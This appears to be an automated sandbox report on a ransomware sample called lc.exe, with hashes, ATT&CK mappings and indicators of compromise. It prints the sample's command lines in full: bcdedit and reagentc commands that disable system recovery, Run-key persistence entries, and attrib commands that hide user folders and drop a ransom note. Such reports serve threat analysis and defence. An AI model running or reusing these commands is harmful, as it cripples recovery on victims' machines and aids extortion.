488e618834422321126faa25d201aa2cdfadfc898d77749f39500843b44a71e8

Analysis

max time kernel
149s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 19:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lc.exe
Size 6.6MB
Sample261024-ydpfdaby7t
SHA256 488e618834422321126faa25d201aa2cdfadfc898d77749f39500843b44a71e8
MD5 c665a9ee3cde6968b0ab8738bd858cc7
SHA1 8e770dba14090c1cde1b8735660b153c21f5fc6d
SHA512 42d4c65ee9375a7d9d56f2f39f2cbaf48643e2fcff4e22e05a94208b072a2aec3bd8afd72776bef2e9abbdc7c140d00da0ccc8ab24c85962ed09ce6d21e7f2f4
SSDEEP 196608:AJlPUTc/mfXbfshtsH/hyQGjo6vdzPBb:AJlarfjH/XGU6vp
TLSH
T1F3663352F3D3C106C41FAE354EB1D6E243B2F8156F62C71B2995BA9FAC37B908914683
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 24 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4880	bcdedit.exe
2208	bcdedit.exe
2720	bcdedit.exe
5816	bcdedit.exe
708	bcdedit.exe
2940	bcdedit.exe
1560	bcdedit.exe
1804	bcdedit.exe
1632	bcdedit.exe
2052	bcdedit.exe
3360	bcdedit.exe
1800	bcdedit.exe
5992	bcdedit.exe
1924	bcdedit.exe
4348	bcdedit.exe
5040	bcdedit.exe
3696	bcdedit.exe
4408	bcdedit.exe
2300	bcdedit.exe
2060	bcdedit.exe
5696	bcdedit.exe
3224	bcdedit.exe
3856	bcdedit.exe
4088	bcdedit.exe

Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lc.exe\""	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lc.exe\" -startup"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	lc.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4104	cmd.exe
4108	cmd.exe
4576	cmd.exe
4780	cmd.exe
1476	cmd.exe
5060	cmd.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4024	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	lc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	lc.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3456	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4448	lc.exe
4448	lc.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4448	lc.exe
Token: 33	4316	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4316	AUDIODG.EXE
Token: SeDebugPrivilege	3456	taskkill.exe
Token: SeSystemEnvironmentPrivilege	2692	svchost.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 5060	4448	lc.exe	100
PID 4448 wrote to memory of 1476	4448	lc.exe	101
PID 4448 wrote to memory of 4780	4448	lc.exe	102
PID 4448 wrote to memory of 4576	4448	lc.exe	103
PID 4448 wrote to memory of 4108	4448	lc.exe	104
PID 4448 wrote to memory of 4104	4448	lc.exe	105
PID 4448 wrote to memory of 3456	4448	lc.exe	106
PID 4448 wrote to memory of 1480	4448	lc.exe	107
PID 4448 wrote to memory of 4024	4448	lc.exe	108
PID 4024 wrote to memory of 4880	4024	cmd.exe	121
PID 4024 wrote to memory of 2208	4024	cmd.exe	122
PID 4024 wrote to memory of 2720	4024	cmd.exe	124
PID 4024 wrote to memory of 5816	4024	cmd.exe	125
PID 4024 wrote to memory of 708	4024	cmd.exe	126
PID 4024 wrote to memory of 4088	4024	cmd.exe	127
PID 4024 wrote to memory of 2940	4024	cmd.exe	128
PID 4024 wrote to memory of 1560	4024	cmd.exe	129
PID 4024 wrote to memory of 1804	4024	cmd.exe	130
PID 4024 wrote to memory of 1632	4024	cmd.exe	131
PID 4024 wrote to memory of 2052	4024	cmd.exe	132
PID 4024 wrote to memory of 3856	4024	cmd.exe	133
PID 4024 wrote to memory of 3224	4024	cmd.exe	134
PID 4024 wrote to memory of 5696	4024	cmd.exe	135
PID 4024 wrote to memory of 3360	4024	cmd.exe	136
PID 4024 wrote to memory of 2060	4024	cmd.exe	137
PID 4024 wrote to memory of 1800	4024	cmd.exe	138
PID 4024 wrote to memory of 5992	4024	cmd.exe	139
PID 4024 wrote to memory of 3696	4024	cmd.exe	140
PID 4024 wrote to memory of 5040	4024	cmd.exe	141
PID 4024 wrote to memory of 1924	4024	cmd.exe	142
PID 4024 wrote to memory of 4348	4024	cmd.exe	143
PID 4024 wrote to memory of 4408	4024	cmd.exe	144
PID 4024 wrote to memory of 2300	4024	cmd.exe	145

C:\Users\Admin\AppData\Local\Temp\lc.exe
"C:\Users\Admin\AppData\Local\Temp\lc.exe"
1⤵
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:5060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1476
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4576
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4104
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3456
- C:\Windows\SYSTEM32\reagentc.exe
  reagentc.exe /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:1480
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit.exe /set {default} timeout 0 & bcdedit.exe /set {default} advancedoptions no & bcdedit.exe /set {default} optionsedit no & bcdedit.exe /set {default} debug no & bcdedit.exe /set {default} bootdebug no & bcdedit.exe /set {default} bootlog no & bcdedit.exe /set {default} vga no & bcdedit.exe /set {default} basevideo no & bcdedit.exe /deletevalue {default} safeboot & bcdedit.exe /set {default} nointegritychecks no & bcdedit.exe /set {default} testsigning no & bcdedit.exe /set {default} disableelamdrivers no & bcdedit.exe /set {current} recoveryenabled no & bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures & bcdedit.exe /set {current} debug no & bcdedit.exe /set {current} bootlog no & bcdedit.exe /set {current} vga no & bcdedit.exe /set {current} basevideo no & bcdedit.exe /deletevalue {current} safeboot & bcdedit.exe /set {current} nointegritychecks no & bcdedit.exe /set {current} testsigning no & bcdedit.exe /set {current} disableelamdrivers no
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4880
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2208
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2720
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} advancedoptions no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5816
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} optionsedit no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:708
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} debug no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4088
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} bootdebug no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2940
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} bootlog no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1560
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} vga no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1804
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} basevideo no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1632
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /deletevalue {default} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2052
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} nointegritychecks no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3856
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} testsigning no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3224
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} disableelamdrivers no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5696
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3360
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2060
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} debug no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1800
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} bootlog no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5992
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} vga no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3696
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} basevideo no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5040
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1924
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} nointegritychecks no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4348
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} testsigning no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4408
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} disableelamdrivers no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2300

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C4 0x00000000000004D4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4316

C:\Users\Admin\AppData\Local\Temp\lc.exe
"C:\Users\Admin\AppData\Local\Temp\lc.exe" -startup
1⤵
PID:1148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2692

C:\Users\Admin\AppData\Local\Temp\lc.exe
"C:\Users\Admin\AppData\Local\Temp\lc.exe"
1⤵
PID:4172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4448-0-0x00007FFD6AFFF000-0x00007FFD6B000000-memory.dmp

Download

memory/4448-2-0x000001B6564E0000-0x000001B656B82000-memory.dmp

Download

memory/4448-1-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-3-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-4-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-5-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-6-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-7-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-8-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-9-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-16-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-17-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-18-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-19-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download

memory/4448-20-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

Download